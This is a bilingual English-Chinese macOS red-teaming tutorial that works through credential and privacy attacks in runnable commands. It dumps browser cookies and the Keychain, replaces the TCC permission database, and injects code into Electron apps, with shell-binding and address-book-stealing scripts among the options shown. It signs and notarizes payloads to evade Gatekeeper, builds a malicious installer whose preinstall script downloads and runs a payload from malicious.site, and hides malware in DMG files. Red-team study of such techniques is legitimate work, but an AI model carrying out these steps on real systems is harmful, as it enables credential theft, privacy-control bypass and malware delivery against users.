macOS red teaming involves simulating cyber-attacks on macOS environments to identify vulnerabilities, assess security posture, and improve defensive measures. This process encompasses a wide array of techniques, tools, and methodologies aimed at mimicking the tactics, techniques, and procedures (TTPs) of real-world adversaries. Key elements include reconnaissance, where information about the target system is gathered; exploitation, where identified vulnerabilities are used to gain access; persistence, where mechanisms are established to maintain access; and exfiltration, where sensitive data is transferred out of the target environment. Tools such as Empire, Metasploit, and custom scripts are often employed, and a thorough understanding of macOS internals, including file system structure, process management, and security mechanisms, is crucial for effective red teaming.
macOS 红队涉及模拟 macOS 环境中的网络攻击,以识别漏洞、评估安全态势并改进防御措施。此过程包含各种技术、工具和方法,旨在模仿现实世界对手的战术、技术和程序 (TTP)。关键要素包括侦察,其中收集有关目标系统的信息;利用,利用已识别的漏洞来获取访问权限;持久性,即建立机制以维持访问;以及外泄,其中敏感数据从目标环境中传出。经常使用 Empire、Metasploit 和自定义脚本等工具,对 macOS 内部结构的透彻理解,包括文件系统结构、进程管理和安全机制,对于有效的红队至关重要。
The primary goal of macOS red teaming is to evaluate and enhance the security readiness of an organization. By simulating attacks, security teams can identify weaknesses that might be overlooked during regular audits and assessments. This proactive approach helps in strengthening defensive strategies, implementing effective incident response plans, and ensuring compliance with security standards. Moreover, macOS red teaming helps in understanding how an attacker might exploit macOS-specific features and vulnerabilities, thus aiding in the development of tailored mitigation strategies. Continuous learning and adapting to the evolving threat landscape are essential components, making red teaming an iterative and dynamic process.
macOS 红队的主要目标是评估和增强组织的安全准备情况。通过模拟攻击,安全团队可以识别在定期审计和评估过程中可能被忽视的弱点。这种积极主动的方法有助于加强防御策略、实施有效的事件响应计划,并确保遵守安全标准。此外,macOS 红队有助于了解攻击者如何利用 macOS 特定的功能和漏洞,从而有助于制定量身定制的缓解策略。持续学习和适应不断变化的威胁形势是必不可少的组成部分,使红队成为一个迭代和动态的过程。
Gathering System Information Using IOPlatformExpertDevice
使用 IOPlatformExpertDevice 收集系统信息
In macOS, red team operators often need to gather detailed system information for reconnaissance purposes. One powerful command-line utility is ioreg
, which interacts with the I/O Kit registry to retrieve detailed hardware and device information. By querying the IOPlatformExpertDevice
class, an operator can gather specific system details such as the model, serial number, and other platform-specific information.
在macOS中,红队操作员经常需要收集详细的系统信息以进行侦察。一个强大的命令行实用程序是 ioreg
,它与 I/O 套件注册表交互以检索详细的硬件和设备信息。通过查询 IOPlatformExpertDevice
类,操作员可以收集特定的系统详细信息,例如型号、序列号和其他特定于平台的信息。
The ioreg
command allows interaction with the I/O Kit registry, and the -c
flag specifies the class of devices to list. The IOPlatformExpertDevice
class provides information about the platform expert, which includes various system attributes. The -d
flag specifies the depth of the search within the device tree.
ioreg
命令允许与 I/O 套件注册表进行交互,而 -c
标志指定要列出的设备类别。IOPlatformExpertDevice
类提供有关平台专家的信息,其中包括各种系统属性。-d
标志指定设备树中搜索的深度。
ioreg -c IOPlatformExpertDevice -d 2
Detailed Explanation 详细说明
-
ioreg
: The command-line utility for accessing the I/O Kit registry.
ioreg
:用于访问 I/O 套件注册表的命令行实用程序。 -
-c IOPlatformExpertDevice
: Specifies the device class to filter for, in this case,IOPlatformExpertDevice
, which includes information about the system’s hardware.
-c IOPlatformExpertDevice
:指定要筛选的设备类,在本例中为IOPlatformExpertDevice
,其中包括有关系统硬件的信息。 -
-d 2
: Specifies the depth of the search. A depth of 2 ensures that the command retrieves detailed information about the devices and their children up to two levels deep.
-d 2
:指定搜索的深度。深度为 2 可确保命令检索有关设备及其子项的详细信息,深度可达两级。
Example Output 示例输出
When executed, the command outputs a detailed tree of properties related to the IOPlatformExpertDevice
. This includes critical information such as:
执行时,该命令将输出与 IOPlatformExpertDevice
相关的详细属性树。这包括关键信息,例如:
-
IOPlatformUUID: A unique identifier for the system.
IOPlatformUUID:系统的唯一标识符。 -
model: The hardware model of the device.
model:设备的硬件型号。 -
serial-number: The serial number of the Mac.
serial-number:Mac 的序列号。 -
IOPlatformSerialNumber: Another identifier often used for hardware validation.
IOPlatformSerialNumber:另一个通常用于硬件验证的标识符。
Example output snippet: 示例输出片段:
+-o IOPlatformExpertDevice <class IOPlatformExpertDevice, id 0x100000000, registered, matched, active, busy 0 (0 ms), retain 10>
{
"IOPlatformUUID" = "12345678-1234-1234-1234-1234567890AB"
"model" = <"MacBookPro15,1">
"serial-number" = <"C02XXXXXXXD1">
"IOPlatformSerialNumber" = "C02XXXXXXXD1"
...
}
Targeting Browser and Diagnostic Logs
面向浏览器和诊断日志
For red team operators, extracting sensitive information from web browsers and analyzing system logs can provide valuable insights into user activity and potential vulnerabilities. This technique involves accessing and leveraging browser cookies and diagnostic reports on a macOS system. Here, we’ll focus on three popular web browsers—Google Chrome, Mozilla Firefox, and Safari—as well as system diagnostic reports.
对于红队运营商来说,从网络浏览器中提取敏感信息并分析系统日志可以提供对用户活动和潜在漏洞的宝贵见解。此技术涉及在 macOS 系统上访问和利用浏览器 cookie 和诊断报告。在这里,我们将重点介绍三种流行的网络浏览器(Google Chrome、Mozilla Firefox 和 Safari)以及系统诊断报告。
Extracting Browser Cookies
提取浏览器 Cookie
-
Google Chrome Cookies: Google Chrome Cookies:
Chrome stores its cookies in an SQLite database located in the user’s application support directory. The path to the cookies database is:
Chrome 将其 Cookie 存储在位于用户应用程序支持目录中的 SQLite 数据库中。Cookie 数据库的路径为:
~/Library/Application Support/Google/Chrome/Default/Cookies
To access and read the cookies database, you can use the sqlite3
command-line tool:
要访问和读取 cookie 数据库,您可以使用 sqlite3
命令行工具:
sqlite3 ~/Library/Application Support/Google/Chrome/Default/Cookies "SELECT host_key, name, encrypted_value FROM cookies"
Firefox Cookies: Firefox Cookies:
Firefox stores its cookies in a SQLite database located in the user’s profiles directory. The typical path to the cookies database is:
Firefox 将其 cookie 存储在位于用户配置文件目录中的 SQLite 数据库中。Cookie 数据库的典型路径为:
~/Library/Application Support/Firefox/Profiles/*.default/cookies.sqlite
Similarly, use sqlite3
to access the cookies:
同样,使用 sqlite3
访问 cookie:
sqlite3 ~/Library/Application Support/Firefox/Profiles/*.default/cookies.sqlite "SELECT host, name, value FROM moz_cookies"
Safari Cookies: Safari Cookie:
Safari stores cookies in local storage files located in the user’s Safari directory:
Safari 将 Cookie 存储在位于用户 Safari 目录中的本地存储文件中:
~/Library/Safari/LocalStorage/*
To read these files, you may need to use a tool or script that can parse the local storage format.
若要读取这些文件,可能需要使用可以分析本地存储格式的工具或脚本。
Accessing Diagnostic Reports
访问诊断报告
System diagnostic reports can contain valuable information about application crashes and system issues. For Google Chrome, these reports are stored in:
系统诊断报告可能包含有关应用程序崩溃和系统问题的宝贵信息。对于 Google Chrome,这些报告存储在以下位置:
/Library/Logs/DiagnosticReports/Google Chrome Helper
To list the diagnostic reports, use the ls
command:
要列出诊断报告,请使用 ls
命令:
ls /Library/Logs/DiagnosticReports/Google\ Chrome\ Helper
To read a specific report, use cat
or less
:
要阅读特定报告,请使用 cat
或更少
:
cat /Library/Logs/DiagnosticReports/Google\ Chrome\ Helper/some_report.crash
Manipulating the TCC Database Using PackageKit
使用PackageKit操作TCC数据库
In macOS, the Transparency, Consent, and Control (TCC) database is a critical security feature that manages application permissions for accessing privacy-sensitive data such as the camera, microphone, location services, and more. Red team operators may target the TCC database to manipulate these permissions, allowing unauthorized access to sensitive resources. One method involves using the shove
utility from the PackageKit framework to replace the TCC database with a crafted version.
在 macOS 中,透明度、同意和控制 (TCC) 数据库是一项重要的安全功能,用于管理用于访问隐私敏感数据(如摄像头、麦克风、定位服务等)的应用程序权限。红队操作员可能会以 TCC 数据库为目标来操纵这些权限,从而允许未经授权访问敏感资源。一种方法涉及使用 PackageKit 框架中的 shove
实用程序将 TCC 数据库替换为构建的版本。
The shove
utility can be used to copy files with specific flags that may bypass some of the usual system protections. This can be leveraged to replace the TCC database with a custom-crafted database that grants desired permissions to specific applications.
shove
实用程序可用于复制带有特定标志的文件,这些标志可能会绕过一些通常的系统保护。这可用于将 TCC 数据库替换为定制的数据库,该数据库向特定应用程序授予所需的权限。
/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/shove -X /tmp/crafted.db /Library/Application\ Support/com.apple.TCC/TCC.db
Detailed Explanation 详细说明
-
shove: A utility found within the PackageKit framework used for copying files. It has certain capabilities that can be misused for privilege escalation or bypassing some system restrictions.
shove:在 PackageKit 框架中找到的用于复制文件的实用程序。它具有某些功能,这些功能可能会被滥用于权限提升或绕过某些系统限制。 -
-X: A flag for
shove
that allows it to copy extended attributes and possibly bypass certain protections.
-X:shove
的标志,允许它复制扩展属性并可能绕过某些保护。 -
/tmp/crafted.db: The source path where the custom-crafted TCC database is stored. This database must be prepared beforehand, with the desired permissions set.
/tmp/crafted.db:自定义TCC数据库的源路径。必须事先准备好此数据库,并设置所需的权限。 -
/Library/Application\ Support/com.apple.TCC/TCC.db: The destination path of the TCC database. This is the actual TCC database that the system uses to manage permissions.
/资源库/Application\ Support/com.apple。TCC/TCC.db:TCC数据库的目标路径。这是系统用于管理权限的实际 TCC 数据库。
Steps to Craft and Deploy a Malicious TCC Database:
创建和部署恶意TCC数据库的步骤:
-
Prepare the Crafted TCC Database:
准备精心制作的TCC数据库:-
Create or modify a SQLite database (
crafted.db
) with the desired permissions. Tools such assqlite3
can be used for this purpose.
使用所需的权限创建或修改 SQLite 数据库 (crafted.db
)。sqlite3
等工具可用于此目的。 -
Example SQLite commands to modify permissions:
用于修改权限的 SQLite 命令示例:
-
sqlite3 /tmp/crafted.db "INSERT INTO access VALUES('kTCCServiceMicrophone','com.example.app',0,1,1,NULL,NULL,NULL,'UNUSED',NULL,0,1541440109);"
Deploy the Crafted TCC Database:
部署精心制作的 TCC 数据库:
- Use the
shove
command to replace the system TCC database with the crafted version:
使用shove
命令将系统 TCC 数据库替换为构建的版本:
/System/Library/PrivateFrameworks/PackageKit.framework/Versions/A/Resources/shove -X /tmp/crafted.db /Library/Application\ Support/com.apple.TCC/TCC.db
Leveraging Application Bundles and User-Specific Data
利用应用程序包和用户特定数据
macOS applications have a distinct structure and organization that can be exploited for various red team operations. Understanding how applications are bundled and where they store user-specific data can provide red team operators with valuable entry points for reconnaissance, persistence, and data exfiltration. This technique involves exploring the /Applications
directory, examining .app
bundles, and targeting user-specific application data stored in ~/Library/Application Support/
.
macOS 应用程序具有独特的结构和组织,可用于各种红队操作。了解应用程序是如何捆绑在一起的,以及它们在哪里存储用户特定的数据,可以为红队操作员提供有价值的入口点,用于侦查、持久性和数据泄露。此技术涉及浏览 /Applications
目录、检查.app
捆绑包,以及定位存储在 ~/Library/Application Support/
中的特定于用户的应用程序数据。
Exploring Application Bundles
探索应用程序包
Applications on macOS are stored in the /Applications
directory. Each application is bundled as a .app
file, which is actually a directory with a specific layout. Key components of an application bundle include:
macOS 上的应用程序存储在 /Applications
目录中。每个应用程序都捆绑为一个.app
文件,该文件实际上是一个具有特定布局的目录。应用程序包的关键组件包括:
-
Info.plist: This file contains application-specific configuration, entitlements, tasks, and metadata.
Info.plist:此文件包含特定于应用程序的配置、权利、任务和元数据。 -
MacOS: This directory contains the Mach-O executable.
MacOS:此目录包含 Mach-O 可执行文件。 -
Resources: This directory includes icons, fonts, and images used by the application.
资源:此目录包含应用程序使用的图标、字体和图像。
You can use standard UNIX commands to explore these bundles:
您可以使用标准 UNIX 命令来浏览这些捆绑软件:
# List applications in the /Applications directory
ls /Applications
# Explore the contents of a specific application bundle
cd /Applications/ExampleApp.app
ls -R
Accessing User-Specific Application Data
访问特定于用户的应用程序数据
Applications installed for all users need to store user-specific data somewhere, typically in the ~/Library/Application Support/
directory. This directory contains application-specific folders with configurations, cached data, credentials, and other user-specific information.
为所有用户安装的应用程序需要将用户特定的数据存储在某处,通常位于 ~/Library/Application Support/
目录中。此目录包含特定于应用程序的文件夹,其中包含配置、缓存数据、凭据和其他特定于用户的信息。
# List directories in ~/Library/Application Support/
ls ~/Library/Application\ Support/
# Explore a specific application's support folder
cd ~/Library/Application\ Support/ExampleApp
ls -R
Detailed Explanation 详细说明
-
Application Bundles: By exploring application bundles, red team operators can gain insights into the application’s configuration and resources. The
Info.plist
file can reveal valuable information about the application’s entitlements and tasks.
应用程序包:通过探索应用程序包,红队操作员可以深入了解应用程序的配置和资源。Info.plist
文件可以揭示有关应用程序的权利和任务的宝贵信息。 -
User-Specific Data: The
~/Library/Application Support/
directory stores crucial data that can be exploited. This data is not protected by the Transparency, Consent, and Control (TCC) framework, making it an easier target.
用户特定数据:~/Library/Application Support/
目录存储可以被利用的关键数据。此数据不受透明度、同意和控制 (TCC) 框架的保护,因此更容易成为目标。
Info.plist Exploration Info.plist 探索
The Info.plist
file is a property list file that contains configuration data for the application. It can be viewed using the defaults
command:
Info.plist
文件是一个属性列表文件,其中包含应用程序的配置数据。可以使用 defaults
命令查看它:
# Read the contents of Info.plist
defaults read /Applications/ExampleApp.app/Contents/Info.plist
Targeting User-Specific Data
以用户特定数据为目标
User-specific data in the ~/Library/Application Support/
directory can include sensitive information such as cached data, configurations, and even credentials. Some folders might be protected by System Integrity Protection (SIP), but many are accessible.
~/Library/Application Support/
目录中的用户特定数据可能包含敏感信息,例如缓存数据、配置甚至凭据。某些文件夹可能受系统完整性保护 (SIP) 保护,但许多文件夹是可访问的。
# List files and directories within a specific application's support folder
ls ~/Library/Application\ Support/ExampleApp
# Read specific configuration or data files
cat ~/Library/Application\ Support/ExampleApp/config.json
Taking Over Electron App TCC Permissions with electroniz3r
使用 electroniz3r 接管 Electron App TCC 权限
Electron apps are popular cross-platform applications that combine web technologies with a native shell. Due to their nature, they can sometimes have security vulnerabilities that allow for code injection. The tool electroniz3r
is specifically designed to exploit these vulnerabilities, enabling red team operators to take over TCC (Transparency, Consent, and Control) permissions of Electron apps on macOS. This technique was presented at DEFCON31 by Wojciech Reguła (@_r3ggi) and provides a powerful method for red team operations.
Electron 应用程序是流行的跨平台应用程序,它将 Web 技术与原生 shell 相结合。由于它们的性质,它们有时可能存在允许代码注入的安全漏洞。Electroniz3r
工具专门设计用于利用这些漏洞,使红队操作员能够接管 macOS 上 Electron 应用程序的 TCC(透明度、同意和控制)权限。该技术由Wojciech Reguła(@_r3ggi)在DEFCON31上提出,为红队作战提供了一种强大的方法。
Tool Overview 工具概述
$ electroniz3r
OVERVIEW: macOS Red Teaming tool that allows code injection in Electron apps
by Wojciech Reguła (@_r3ggi)
USAGE: electroniz3r <subcommand>
OPTIONS:
-h, --help Show help information.
SUBCOMMANDS:
list-apps List all installed Electron apps
inject Inject code to a vulnerable Electron app
verify Verify if an Electron app is vulnerable to code injection
See 'electroniz3r help <subcommand>' for detailed help.
Listing Installed Electron Apps
列出已安装的 Electron 应用程序
To list all installed Electron apps, use the list-apps
subcommand. This command provides the bundle identifier and the path to each Electron app on the system.
要列出所有已安装的 Electron 应用程序,请使用 list-apps
子命令。此命令提供捆绑标识符和系统上每个 Electron 应用程序的路径。
$ electroniz3r list-apps
╔══════════════════════════════════════════════════════════════════════════════════════════════════════╗
║ Bundle identifier │ Path ║
╚──────────────────────────────────────────────────────────────────────────────────────────────────────╝
com.microsoft.VSCode /Applications/Visual Studio Code.app
com.vmware.fusionApplicationsMenu /Applications/VMware Fusion.app/Contents/Library/VMware Fusion Applications Menu.app
notion.id /Applications/Notion.app
com.github.GitHubClient /Applications/GitHub Desktop.app
com.logi.optionsplus /Applications/logioptionsplus.app
com.microsoft.teams /Applications/Microsoft Teams.app
com.tinyspeck.slackmacgap /Applications/Slack.app
Verifying Vulnerability 验证漏洞
To verify if an Electron app is vulnerable to code injection, use the verify
subcommand followed by the path to the Electron app.
要验证 Electron 应用程序是否容易受到代码注入的影响,请使用 verify
子命令,然后是 Electron 应用程序的路径。
$ electroniz3r verify "/Applications/GitHub Desktop.app"
/Applications/GitHub Desktop.app started the debug WebSocket server
The application is vulnerable!
You can now kill the app using `kill -9 7033`
Injecting Code 注入代码
To inject code into a vulnerable Electron app, use the inject
subcommand. You can either provide a path to a JavaScript file or use predefined scripts.
要将代码注入易受攻击的 Electron 应用程序,请使用 inject
子命令。您可以提供 JavaScript 文件的路径,也可以使用预定义的脚本。
$ electroniz3r help inject
OVERVIEW: Inject code to a vulnerable Electron app
USAGE: electroniz3r inject <path> [--path-js <path-js>] [--predefined-script <predefined-script>]
ARGUMENTS:
<path> Path to the Electron app
OPTIONS:
--path-js <path-js> Path to a file containing JavaScript code to be executed
--predefined-script <predefined-script>
Use predefined JS scripts (calc, screenshot, stealAddressBook, bindShell, takeSelfie)
-h, --help Show help information.
Example of injecting a predefined script to take a screenshot:
注入预定义脚本以截取屏幕截图的示例:
$ electroniz3r inject "/Applications/Slack.app" --predefined-script screenshot
Example of injecting custom JavaScript:
注入自定义 JavaScript 的示例:
$ electroniz3r inject "/Applications/Slack.app" --path-js /path/to/custom/script.js
Exploiting Keychain Access
利用钥匙串访问
The macOS Keychain is a critical component for storing sensitive information such as passwords, certificates, encryption keys, and secure notes. Understanding how to access and manipulate the Keychain can be a powerful technique in a red team operator’s toolkit. This guide explores how to interact with the Keychain, leveraging command-line tools to extract and manipulate stored secrets.
macOS 钥匙串是存储敏感信息(如密码、证书、加密密钥和安全笔记)的关键组件。了解如何访问和操作钥匙串可能是红队操作员工具包中的一项强大技术。本指南探讨了如何与钥匙串交互,利用命令行工具提取和操作存储的密钥。
Keychain Basics 钥匙扣基础知识
- User Keychain: Stores user passwords (web, secure notes, etc.), public/private keys (iMessage, iCloud, etc.), and certificates. Located at:
用户钥匙串:存储用户密码(网页、安全笔记等)、公钥/私钥(iMessage、iCloud 等)和证书。位于:
~/Library/Keychains/login.keychain-db
System Keychain: Stores system-wide passwords (Wi-Fi), root certificates, domain information (if joined to AD), and local Kerberos information. Located at:
/Library/Keychains/System.keychain
- Access to this requires root privileges.
Accessing the Keychain with security
CLI
The security
command-line tool is a native macOS utility for interacting with the Keychain. It provides various subcommands for listing, dumping, and managing Keychain contents.
- List Keychains:
security list-keychains
Dump Keychain Contents:
security dump-keychain
Using -d
for decrypted secrets (triggers many security prompts):
security dump-keychain -d
Dump all information about each entry (excluding decrypted secrets):
security dump-keychain -a
Read Authorization Database:
security authorizationdb read system.preferences
Dumping User Keychain Information:
security dump-keychain ~/Library/Keychains/login.keychain-db
-
Keychain Files: The Keychain files (
login.keychain-db
for user data andSystem.keychain
for system data) hold encrypted information. While reading these files directly doesn’t grant access to the plaintext secrets, using thesecurity
tool with appropriate privileges can decrypt and display this data. -
Security Prompts: Attempting to decrypt Keychain entries will trigger macOS security prompts, which require user interaction to proceed. This is a significant hurdle in automated exploitation scenarios but can be bypassed with physical access or sophisticated social engineering.
-
Access Control Lists (ACLs): Each Keychain entry has ACLs that define which applications can access the secrets. Manipulating these ACLs can grant malicious applications access to sensitive information.
-
Executing with Privileges: The
security execute-with-privileges
command allows the execution of commands with elevated privileges, akin tosudo
. This can be leveraged to run system commands or scripts as a root user, given the necessary user confirmation.
Signing Your Payload
In macOS, applications and executables are often signed and notarized to ensure their integrity and origin. Signing a payload can bypass many security warnings and make the malicious software appear legitimate. Adversaries frequently use this technique to evade detection and improve their payload delivery success rate. Here’s a guide on how to sign your payload and the implications of doing so.
在 macOS 中,应用程序和可执行文件通常经过签名和公证,以确保其完整性和来源。对有效负载进行签名可以绕过许多安全警告,并使恶意软件看起来合法。攻击者经常使用这种技术来逃避检测并提高其有效载荷交付成功率。以下是有关如何签署有效载荷以及这样做的影响的指南。
Key Points 要点
-
Apple Developer Program: Access to code signing certificates requires enrollment in the Apple Developer Program, which costs $99 annually.
Apple Developer Program:要获得代码签名证书,需要注册 Apple Developer Program,每年收费 99 美元。 -
Code Signing Certificates: These certificates authenticate the identity of the developer and assure the system that the software is not tampered with.
代码签名证书:这些证书验证开发人员的身份,并向系统保证软件未被篡改。 -
Notarization: An automated process by Apple that scans for malicious content and security vulnerabilities, usually completing within minutes.
公证:Apple 的一项自动化流程,用于扫描恶意内容和安全漏洞,通常在几分钟内完成。 -
Bypassing Security Warnings: Properly signed and notarized payloads can avoid most security warnings, although Gatekeeper might still show an informational message.
绕过安全警告:正确签名和公证的有效负载可以避免大多数安全警告,尽管 Gatekeeper 可能仍会显示信息性消息。
Enrolling in the Apple Developer Program
注册加入 Apple Developer Program
To start signing your payloads, you need to enroll in the Apple Developer Program and obtain a code signing certificate.
要开始对有效负载进行签名,您需要注册 Apple Developer Program 并获取代码签名证书。
-
Enroll in the Apple Developer Program: Visit the Apple Developer website and follow the instructions to enroll.
注册 Apple Developer Program:访问 Apple Developer 网站并按照说明进行注册。 -
Download Xcode: Xcode is required for managing certificates and signing your applications. You can download it from the Mac App Store.
下载 Xcode:需要 Xcode 来管理证书和签署应用程序。您可以从 Mac App Store 下载它。
Creating a Code Signing Certificate
创建代码签名证书
- Open Xcode and Create a New Project: This will initialize Xcode and prepare it for certificate management.
打开 Xcode 并创建一个新项目:这将初始化 Xcode 并准备进行证书管理。
Xcode -> Preferences -> Accounts -> Add Apple ID
Manage Certificates:
管理证书:
Xcode -> Preferences -> Accounts -> Manage Certificates
Generate a Code Signing Certificate:
生成代码签名证书:
Xcode -> Preferences -> Accounts -> Select your Apple ID -> Manage Certificates -> Click "+" and select "Apple Development"
Signing the Payload 对负载进行签名
Once you have your code signing certificate, you can use the codesign
tool to sign your payload.
获得代码签名证书后,可以使用 codesign
工具对有效负载进行签名。
- Sign the Payload:
对有效负载进行签名:
codesign -s "Apple Development: Your Name (Team ID)" /path/to/your/payload
- Replace
"Apple Development: Your Name (Team ID)"
with the name of your certificate and/path/to/your/payload
with the path to your executable or application.
将“Apple Development: Your Name (Team ID)”
替换为您的证书名称,将/path/to/your/payload
替换为您的可执行文件或应用程序的路径。
Notarizing the Payload 对有效载荷进行公证
Notarization involves submitting your signed payload to Apple for approval.
公证涉及将您签名的有效负载提交给 Apple 以供批准。
- Create a Compressed Archive of Your Payload:
创建有效负载的压缩存档:
zip -r payload.zip /path/to/your/payload
Submit for Notarization:
提交公证:
xcrun altool --notarize-app --primary-bundle-id "com.yourcompany.payload" --username "your_apple_id" --password "app-specific_password" --file payload.zip
-
Replace
"com.yourcompany.payload"
,"your_apple_id"
, and"app-specific_password"
with your bundle ID, Apple ID, and an app-specific password, respectively.
将“com.yourcompany.payload”、“
your_apple_id”
和“app-specific_password”
分别替换为您的捆绑 ID、Apple ID 和应用专用密码。 -
Check Notarization Status:
检查公证状态:
xcrun altool --notarization-info <RequestUUID> --username "your_apple_id" --password "app-specific_password"
-
Replace
<RequestUUID>
with the UUID returned from the notarization submission command. -
Staple the Notarization Ticket to Your Payload:
xcrun stapler staple /path/to/your/payload
Exploiting Installer Packages
Installer packages in macOS provide a structured method to distribute software. These packages can contain payloads, scripts, and configuration files that run with elevated privileges during installation. By manipulating these components, red team operators can create packages that execute malicious code during the installation process.
-
Installer Package Structure: Consists of a root payload directory and a scripts directory.
-
pkgroot/root/Applications/
: Mirrors the intended installation location. -
pkgroot/scripts/
: Contains pre-install and post-install scripts.
-
-
Execution Opportunities: Several points during the installation process allow for code execution.
-
Pre-install/Post-install Scripts: Written in bash, can include commands to download and execute payloads.
-
Distribution XML: Contains JavaScript code with limited native API access but can execute shell commands.
-
Installer Plugins: Provides access to native API functions using Objective-C or Swift, executed with elevated privileges.
-
-
Creating Installer Packages: Use
pkgbuild
andproductbuild
command-line tools.
Creating the Installer Package
-
Prepare the Package Directory Structure:
-
Create the root directory structure that mirrors the intended installation location.
-
Add the scripts directory for pre-install and post-install scripts.
-
mkdir -p pkgroot/root/Applications/MyApp
mkdir -p pkgroot/scripts
Write Pre-install/Post-install Scripts:
-
Ensure scripts start with
#!/bin/bash
and end withexit 0
. -
Set the executable bit on the scripts.
Example preinstall
Script:
#!/bin/bash
echo "Running preinstall script"
curl -o /tmp/payload.sh http://malicious.site/payload.sh
chmod +x /tmp/payload.sh
/tmp/payload.sh
exit 0
chmod +x pkgroot/scripts/preinstall
Build the Package Using pkgbuild
:
- Use
pkgbuild
to create a component package with the specified scripts and payload.
pkgbuild --root pkgroot/root --scripts pkgroot/scripts --identifier com.malicious.myapp --version 1.0 myapp.pkg
Adding Distribution File for Enhanced Execution
-
Create a Distribution XML File:
- Use InstallerJS within the Distribution XML file to perform sandbox checks and execute scripts.
Example dist.xml
:
<?xml version="1.0" encoding="utf-8"?>
<installer-gui-script minSpecVersion="1">
<title>Malicious Installer</title>
<options customize="allow" require-scripts="false"/>
<script>
<![CDATA[
function installationCheck() {
if (system.isSandboxed()) {
my.result.title = "Cannot install in a sandbox.";
my.result.message = "Please run this installer outside of a sandbox.";
return false;
}
return true;
}
function volumeCheck() {
return true;
}
function preflight() {
system.run("/path/to/preinstall");
}
function postflight() {
system.run("/path/to/postinstall");
}
]]>
</script>
<choices-outline>
<line choice="default">
<line choice="myapp"/>
</line>
</choices-outline>
<choice id="myapp" title="MyApp">
<pkg-ref id="com.malicious.myapp"/>
</choice>
<pkg-ref id="com.malicious.myapp" installKBytes="0" auth="root">#myapp.pkg</pkg-ref>
</installer-gui-script>
Build the Final Product Archive Using productbuild
:
- Combine the component package and the Distribution XML file into a final product archive.
productbuild --distribution dist.xml --package-path myapp.pkg final-installer.pkg
Exploiting DMG Files for Distribution
Disk Image files (DMG) are commonly used in macOS for archiving and distributing applications. They offer the advantage of compressing large files and facilitating easy delivery over the internet. Red team operators can leverage DMG files to distribute malicious payloads disguised as legitimate applications. This guide outlines the process of creating a DMG file for application distribution and demonstrates how to hide malicious content within it.
磁盘映像文件 (DMG) 在 macOS 中通常用于存档和分发应用程序。它们具有压缩大文件并便于通过 Internet 轻松交付的优点。红队操作员可以利用 DMG 文件来分发伪装成合法应用程序的恶意负载。本指南概述了创建用于应用程序分发的 DMG 文件的过程,并演示了如何隐藏其中的恶意内容。
-
Creating the DMG Folder: Preparation involves creating a background image and a folder structure for the distribution.
创建 DMG 文件夹:准备工作涉及为分发创建背景图像和文件夹结构。 -
Preparing the Payload: Malicious content, such as malware or backdoors, is placed within the DMG file alongside legitimate applications.
-
Concealing Malicious Content: Techniques like hiding folders from the GUI and customizing the appearance of the DMG help conceal malicious elements.
-
Converting to Compressed DMG: The final step involves converting the DMG file to a read-only compressed format suitable for distribution.
Creating the DMG Folder
-
Create a Background Image: Design a background image with visual aids to assist users during installation.
-
Open Disk Utility: Launch Disk Utility.
-
Create a New Disk Image:
-
Click on
File
>New Image
>Blank Image
.
单击“文件
”>新图像
>空白图像
。 -
Choose desired size and leave other settings as default.
选择所需的大小并将其他设置保留为默认值。
-
-
Mount the Disk Image: Double-click the created DMG file to mount it.
挂载磁盘映像:双击创建的 DMG 文件进行挂载。 -
Create a Background Folder: Inside the mounted volume, create a folder named
.background
.
创建后台文件夹:在挂载的卷内,创建一个名为.background
的文件夹。 -
Save Background Image: Save the background image within the
.background
folder.
保存背景图片:将背景图片保存在.background
文件夹中。 -
Hide the Background Folder: Open Terminal and run the following command:
隐藏后台文件夹:打开终端并运行以下命令:
cd /Volumes/InstallDMG/
mv background .background
Preparing the Payload 准备有效载荷
-
Prepare the Payload: Copy the legitimate application (e.g., Mozilla Firefox) into the mounted volume.
准备负载:将合法应用程序(例如Mozilla Firefox)复制到挂载的卷中。 -
Customize View Options: Open “Show View Options” and restrict the mounted volume to icon view only. Arrange icons to match the background.
自定义视图选项:打开“显示视图选项”并将挂载的卷限制为仅图标视图。排列图标以匹配背景。 -
Eject the Disk Image: Eject the mounted DMG file.
弹出磁盘映像:弹出挂载的 DMG 文件。 -
Make a Duplicate Copy: Create a duplicate copy of the DMG file for future use.
制作副本:创建 DMG 文件的副本以备将来使用。
Converting to Compressed DMG
转换为压缩 DMG
-
Open Disk Utility.
打开“磁盘工具”。 -
Convert the DMG:
转换 DMG:-
Click on
Images
>Convert
.
点击图片
>转换
. -
Select the original DMG file.
选择原始 DMG 文件。 -
Choose a new name and convert it to a compressed format suitable for distribution.
选择一个新名称,并将其转换为适合分发的压缩格式。
-
Leveraging HealthInspector Utility
利用 HealthInspector 实用程序
HealthInspector is a JavaScript for Automation (JXA) utility designed for macOS, facilitating the retrieval of preference files and informative data on disk via Objective-C API calls. This tool provides valuable insights into user behavior, system configurations, and potential avenues for exploitation. By analyzing various preference files, HealthInspector enables red team operators to gather critical information for reconnaissance and planning malicious activities.
HealthInspector 是专为 macOS 设计的 JavaScript for Automation (JXA) 实用程序,有助于通过 Objective-C API 调用在磁盘上检索偏好设置文件和信息数据。此工具提供了有关用户行为、系统配置和潜在利用途径的宝贵见解。通过分析各种偏好文件,HealthInspector 使红队操作员能够收集关键信息,以便进行侦察和规划恶意活动。
-
Utility Overview: HealthInspector is a versatile tool available on GitHub, allowing red team operators to extract valuable information from macOS systems.
实用程序概述:HealthInspector 是 GitHub 上提供的多功能工具,允许红队操作员从 macOS 系统中提取有价值的信息。 -
Usage: HealthInspector can be executed from the command line using
osascript
or integrated with Mythic’s apfell agent for streamlined operation.
用法:HealthInspector 可以使用osascript
从命令行执行,也可以与 Mythic 的 apfell agent 集成以实现简化操作。 -
Functionality: The tool offers several functions to retrieve data from different preference files, including persistent dock apps, Finder preferences, launch services, user launch agents, installed software versions, recent files, firewall settings, OS version, SMB server details, and network connectivity.
功能:该工具提供了多种功能来从不同的偏好设置文件中检索数据,包括持久的停靠应用程序、Finder 首选项、启动服务、用户启动代理、已安装的软件版本、最近的文件、防火墙设置、操作系统版本、SMB 服务器详细信息和网络连接。 -
Insights: By analyzing preference files, red team operators gain insights into user behavior, application usage patterns, system configurations, and potential vulnerabilities.
洞察:通过分析偏好文件,红队操作员可以深入了解用户行为、应用程序使用模式、系统配置和潜在漏洞。 -
Practical Applications: HealthInspector assists in reconnaissance, identifying persistence opportunities, understanding system configurations, and assessing the security posture of macOS systems.
